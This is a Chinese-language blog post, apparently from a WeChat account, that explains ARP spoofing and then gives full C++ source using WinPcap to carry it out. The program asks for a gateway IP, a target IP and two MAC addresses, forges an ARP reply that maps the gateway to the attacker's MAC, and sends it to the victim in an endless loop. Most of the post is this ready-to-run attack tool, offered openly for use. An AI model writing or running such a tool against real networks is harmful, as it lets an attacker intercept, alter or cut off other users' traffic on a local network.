点击上方蓝字关注我们
ARP欺骗
ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。
实现的方法:
-
给指定的IP发ARP包
-
ARP中指定来源IP是网关
-
然后来源的mac填写成我们自己的,这样子他就把网关认为成我们了
前几天老哥给我发了一本python的安全攻防,我翻了一下,看到了一篇用python实现的ARP毒化方法,用的是scapy,实现了简单的双工,下午的时候本来是要写人工智能的算法的,但是因为开了个班会的原因,一下子没兴趣了,舍友出去玩了没人陪我打游戏,我就想用C++实现ARP的毒化,也来扩大自己的类库(自己写了好多C++渗透逆向的类库,有感兴趣的可以和我要)。用的还是比较老的winPcap。
编写前简单的了解一下ARP数据包的格式吧。
首先是以太网的头部:
-
0-6字节是目的的mac地址
-
6-12字节是源的mac地址
-
12-14字节是我们的请求类型(1位请求,2位响应)
ARP头部:
-
硬件类型 1
-
协议类型 ARP是0x806
-
硬件地址长度 6
-
协议地址长度 4
-
操作类型 ARP请求是1
-
下面就是mac和ip了,不再重复
//14字节以太网首部struct EthernetHeader{
u_char DestMAC[6]; //目的MAC地址 6字节
u_char SourMAC[6]; //源MAC地址 6字节
u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节};//28字节ARP帧结构struct ArpHeader{
unsigned short hdType; //硬件类型
unsigned short proType; //协议类型
unsigned char hdSize; //硬件地址长度
unsigned char proSize; //协议地址长度
unsigned short op; //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
u_char smac[6]; //源MAC地址
u_char sip[4]; //源IP地址
u_char dmac[6]; //目的MAC地址
u_char dip[4]; //目的IP地址};
知道了这些,配合上我们的毒化方法就能简单的实现一个ARP的欺骗了。
首先我们需要用户输入四个内容(当然也可以只输入目标的IP,但是那样加大了代码量)
-
目标IP
-
网关IP
-
本机MAC
-
目标MAC
用户输入进来之后,我们进行校验输入的格式对不对就可以了。然后我们选择网卡,使用winpcap的pcap_findalldevs
就可以获取到网卡的信息了,得到的是一个链表,然后全部打印出来,让用户选择相对应的网卡,然后投掷我们ARP数据包。看一下操作:
整个程序比较麻烦的东西就是解析ip和mac,贴一下我写的吧:
struct IPSTRUCT{
unsigned char IP[4];
};bool prarseIP(char* IP,IPSTRUCT* st){ char *substr= strtok(IP,"."); if (!substr) return false;
st->IP[0] = atoi(substr);
substr= strtok(NULL,"."); if (!substr) return false;
st->IP[1] = atoi(substr);
substr= strtok(NULL,"."); if (!substr) return false;
st->IP[2] = atoi(substr);
substr= strtok(NULL,"."); if (!substr) return false;
st->IP[3] = atoi(substr); return true;
}int hex2int(char c){ if ((c >= 'A') && (c <= 'Z'))
{ return c - 'A' + 10;
} else if ((c >= 'a') && (c <= 'z'))
{ return c - 'a' + 10;
} else if ((c >= '0') && (c <= '9'))
{ return c - '0';
} return 0;
}int HexToLLInt(const char* hexStr){ int data[20] = { 0 }; int count = 0; int i = 0; int ret = 0; int len = strlen(hexStr); if ((hexStr[len - 1] == '0') && (hexStr[len - 2] == '/'))
len -= 2; for (int i = 0; i<len; i += 2)
{ int low = hex2int(hexStr[i+1]); //低四位
int high = hex2int(hexStr[i]); //高四位
data[count++] = (high << 4) + low;
} for (i = 0; i <count; i++)
{
ret = ret << 8;
ret += data[i];
} return ret;
}struct MACSTRUCT{
unsigned char MAC[6];
};bool prarseMAC(char* IP,MACSTRUCT* st){ char *substr= strtok(IP,"-"); if (!substr) return false;
st->MAC[0] = HexToLLInt(substr);
substr= strtok(NULL,"-"); if (!substr) return false;
st->MAC[1] = HexToLLInt(substr);
substr= strtok(NULL,"-"); if (!substr) return false;
st->MAC[2] = HexToLLInt(substr);
substr= strtok(NULL,"-"); if (!substr) return false;
st->MAC[3] = HexToLLInt(substr);
substr= strtok(NULL,"-"); if (!substr) return false;
st->MAC[4] = HexToLLInt(substr);
substr= strtok(NULL,"-"); if (!substr) return false;
st->MAC[5] = HexToLLInt(substr); return true;
}
封装了几个方法,十六进制的从网上借鉴的,懒得写了...
pcap_if_t *alldevs; pcap_if_t *d; char errbuf[PCAP_ERRBUF_SIZE+1]; /* Retrieve the interfaces list */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{ fprintf(stderr,"Error in pcap_findalldevs: %sn",errbuf); exit(1);
} int id = 0; /* Scan the list printing every entry */
for(d=alldevs;d;d=d->next)
{
printf_s("%d:",id);
id++;
ifprint(d);
} int UseEID = 0;
printf_s("请输入要使用的设备编号:");
scanf_s("%d",&UseEID); /* 跳转到选中的适配器 */
for (d = alldevs, id = 0; id < UseEID; d = d->next, id++)
Sleep(1); pcap_t *adhandle; //打开网络适配器,捕捉实例,是pcap_open返回的对象
char error[PCAP_ERRBUF_SIZE]; if((adhandle = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL)
{ fprintf(stderr,"nError opening adapter: %sn", error);
system("pause"); return 0;
}
通过pcap_findalldevs
获得pcap_if_t
的链表指针,然后打印出来相关信息。封装我们的ARP数据包:
unsigned char sendbuf[42]; //arp包结构大小,42个字节
EthernetHeader eh;
ArpHeader ah; //赋值MAC地址
memcpy(eh.DestMAC, ETHDestmac, 6); //以太网首部目的MAC地址,全为广播地址
memcpy(eh.SourMAC, ETHSourcemac, 6); //以太网首部源MAC地址
eh.EthType = htons(ETH_ARP); //htons:将主机的无符号短整形数转换成网络字节顺序
ah.hdType = htons(ARP_HARDWARE);
ah.proType = htons(ETH_IP);
ah.hdSize = 6;
ah.proSize = 4;
ah.op = htons(ARP_RESPONSE); memcpy(ah.smac, ARPSourcemac, 6); //ARP字段源MAC地址
memcpy(ah.dmac, ARPDestmac, 6); //ARP字段目的MAC地址
memcpy(ah.sip, ARPSip, 4); //ARP字段源IP地址
memcpy(ah.dip, ARPDip, 4); //ARP字段目的IP地址
//构造一个ARP请求
memset(sendbuf, 0, sizeof(sendbuf)); //ARP清零
memcpy(sendbuf, &eh, sizeof(eh)); memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));
循环发送ARP数据包:
printf_s("开始ARP欺骗"); //监控数据包
//pcap_loop(adhandle, 0, packet_handler, NULL);
while(true)
{ if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) { printf("ARP欺骗succeedn");
Sleep(500);
} else { printf("PacketSendPacket in getmine Error: %dn", GetLastError()); break;
}
}
这样就可以实现ARP欺骗了。完整代码:
#include "stdafx.h" #include "PCAP.h" #include "remote-ext.h" #ifndef WIN32 #include <sys/socket.h> #include <netinet/in.h> #else #include <winsock.h> #endif #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"wpcap.lib") /* void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { system("cls"); static int packet_Count=1; packet_Count++; printf("开始欺骗后劫持本地的数据包个数:%d",packet_Count); } */ #define ETH_ARP 0x0806 //以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806 #define ARP_HARDWARE 1 //硬件类型字段值为表示以太网地址 #define ETH_IP 0x0800 //协议类型字段表示要映射的协议地址类型值为x0800表示IP地址 #define ARP_REQUEST 1 //ARP请求 #define ARP_RESPONSE 2 //ARP应答 //14字节以太网首部 struct EthernetHeader { u_char DestMAC[6]; //目的MAC地址 6字节 u_char SourMAC[6]; //源MAC地址 6字节 u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节 }; //28字节ARP帧结构 struct ArpHeader { unsigned short hdType; //硬件类型 unsigned short proType; //协议类型 unsigned char hdSize; //硬件地址长度 unsigned char proSize; //协议地址长度 unsigned short op; //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。u_char smac[6]; //源MAC地址 u_char sip[4]; //源IP地址 u_char dmac[6]; //目的MAC地址 u_char dip[4]; //目的IP地址 }; /* From tcptraceroute, convert a numeric IP address to a string */ #define IPTOSBUFFERS 12 char *iptos(u_long in) { static char output[IPTOSBUFFERS][3*4+3+1]; static short which; u_char *p; p = (u_char *)∈ which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1); sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]); return output[which]; } /* Print all the available information on the given interface */ void ifprint(pcap_if_t *d) { pcap_addr_t *a; /* Name */ printf("%sn",d->name); /* Description */ if (d->description) printf("tDescription: %sn",d->description); /* Loopback Address*/ printf("tLoopback: %sn",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no"); /* IP addresses */ for(a=d->addresses;a;a=a->next) { printf("tAddress Family: #%dn",a->addr->sa_family); switch(a->addr->sa_family) { case AF_INET: printf("tAddress Family Name: AF_INETn"); if (a->addr) printf("tAddress: %sn",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr)); if (a->netmask) printf("tNetmask: %sn",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr)); if (a->broadaddr) printf("tBroadcast Address: %sn",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr)); if (a->dstaddr) printf("tDestination Address: %sn",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr)); break; default: printf("tAddress Family Name: Unknownn"); break; } } printf("n"); } struct IPSTRUCT { unsigned char IP[4]; }; bool prarseIP(char* IP,IPSTRUCT* st) { char *substr= strtok(IP,"."); if (!substr) return false; st->IP[0] = atoi(substr); substr= strtok(NULL,"."); if (!substr) return false; st->IP[1] = atoi(substr); substr= strtok(NULL,"."); if (!substr) return false; st->IP[2] = atoi(substr); substr= strtok(NULL,"."); if (!substr) return false; st->IP[3] = atoi(substr); return true; } int hex2int(char c) { if ((c >= 'A') && (c <= 'Z')) { return c - 'A' + 10; } else if ((c >= 'a') && (c <= 'z')) { return c - 'a' + 10; } else if ((c >= '0') && (c <= '9')) { return c - '0'; } return 0; } int HexToLLInt(const char* hexStr) { int data[20] = { 0 }; int count = 0; int i = 0; int ret = 0; int len = strlen(hexStr); if ((hexStr[len - 1] == '0') && (hexStr[len - 2] == '/')) len -= 2; for (int i = 0; i<len; i += 2) { int low = hex2int(hexStr[i+1]); //低四位 int high = hex2int(hexStr[i]); //高四位 data[count++] = (high << 4) + low; } for (i = 0; i <count; i++) { ret = ret << 8; ret += data[i]; } return ret; } struct MACSTRUCT { unsigned char MAC[6]; }; bool prarseMAC(char* IP,MACSTRUCT* st) { char *substr= strtok(IP,"-"); if (!substr) return false; st->MAC[0] = HexToLLInt(substr); substr= strtok(NULL,"-"); if (!substr) return false; st->MAC[1] = HexToLLInt(substr); substr= strtok(NULL,"-"); if (!substr) return false; st->MAC[2] = HexToLLInt(substr); substr= strtok(NULL,"-"); if (!substr) return false; st->MAC[3] = HexToLLInt(substr); substr= strtok(NULL,"-"); if (!substr) return false; st->MAC[4] = HexToLLInt(substr); substr= strtok(NULL,"-"); if (!substr) return false; st->MAC[5] = HexToLLInt(substr); return true; } int main() { //以太网目的mac ,被欺骗的MAC unsigned char ETHDestmac[6]; //以太网源mac,我们的mac unsigned char ETHSourcemac[6]; //ARP源mac,我们的mac unsigned char ARPSourcemac[6]; //ARP目的mac,被欺骗的mac unsigned char ARPDestmac[6]; //被欺骗的IP地址 unsigned char ARPDip[4]; //网关IP unsigned char ARPSip[4]; char text[66]; printf_s("请输入网关IP:"); scanf("%s",&text); IPSTRUCT ips; if(!prarseIP(text,&ips)) { printf("网关IP输入出错"); return -1; } memcpy(ARPSip,ips.IP,4); printf_s("请输入目标IP:"); scanf("%s",&text); if(!prarseIP(text,&ips)) { printf("目标IP输入出错"); return -1; } memcpy(ARPDip,ips.IP,4); printf_s("请输入本机MAC:"); scanf("%s",&text); MACSTRUCT macs; if(!prarseMAC(text,&macs)) { printf("本机MAC输入出错"); return -1; } memcpy(ETHSourcemac,macs.MAC,6); memcpy(ARPSourcemac,macs.MAC,6); printf_s("请输入目标MAC:"); scanf("%s",&text); if(!prarseMAC(text,&macs)) { printf("目标MAC输入出错"); return -1; } memcpy(ETHDestmac,macs.MAC,6); memcpy(ARPDestmac,macs.MAC,6); pcap_if_t *alldevs; pcap_if_t *d; char errbuf[PCAP_ERRBUF_SIZE+1]; /* Retrieve the interfaces list */ if (pcap_findalldevs(&alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %sn",errbuf); exit(1); } int id = 0; /* Scan the list printing every entry */ for(d=alldevs;d;d=d->next) { printf_s("%d:",id); id++; ifprint(d); } int UseEID = 0; printf_s("请输入要使用的设备编号:"); scanf_s("%d",&UseEID); /* 跳转到选中的适配器 */ for (d = alldevs, id = 0; id < UseEID; d = d->next, id++) Sleep(1); pcap_t *adhandle; //打开网络适配器,捕捉实例,是pcap_open返回的对象 char error[PCAP_ERRBUF_SIZE]; if((adhandle = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL) { fprintf(stderr,"nError opening adapter: %sn", error); system("pause"); return 0; } unsigned char sendbuf[42]; //arp包结构大小,42个字节 EthernetHeader eh; ArpHeader ah; //赋值MAC地址 memcpy(eh.DestMAC, ETHDestmac, 6); //以太网首部目的MAC地址,全为广播地址 memcpy(eh.SourMAC, ETHSourcemac, 6); //以太网首部源MAC地址 eh.EthType = htons(ETH_ARP); //htons:将主机的无符号短整形数转换成网络字节顺序 ah.hdType = htons(ARP_HARDWARE); ah.proType = htons(ETH_IP); ah.hdSize = 6; ah.proSize = 4; ah.op = htons(ARP_RESPONSE); memcpy(ah.smac, ARPSourcemac, 6); //ARP字段源MAC地址 memcpy(ah.dmac, ARPDestmac, 6); //ARP字段目的MAC地址 memcpy(ah.sip, ARPSip, 4); //ARP字段源IP地址 memcpy(ah.dip, ARPDip, 4); //ARP字段目的IP地址 //构造一个ARP请求 memset(sendbuf, 0, sizeof(sendbuf)); //ARP清零 memcpy(sendbuf, &eh, sizeof(eh)); memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah)); printf_s("开始ARP欺骗"); //监控数据包 //pcap_loop(adhandle, 0, packet_handler, NULL); while(true) { if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) { printf("ARP欺骗succeedn"); Sleep(500); } else { printf("PacketSendPacket in getmine Error: %dn", GetLastError()); break; } } return 0; }
往期推荐
点个在看你最好看
本文始发于微信公众号(云剑侠心):ARP欺骗
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论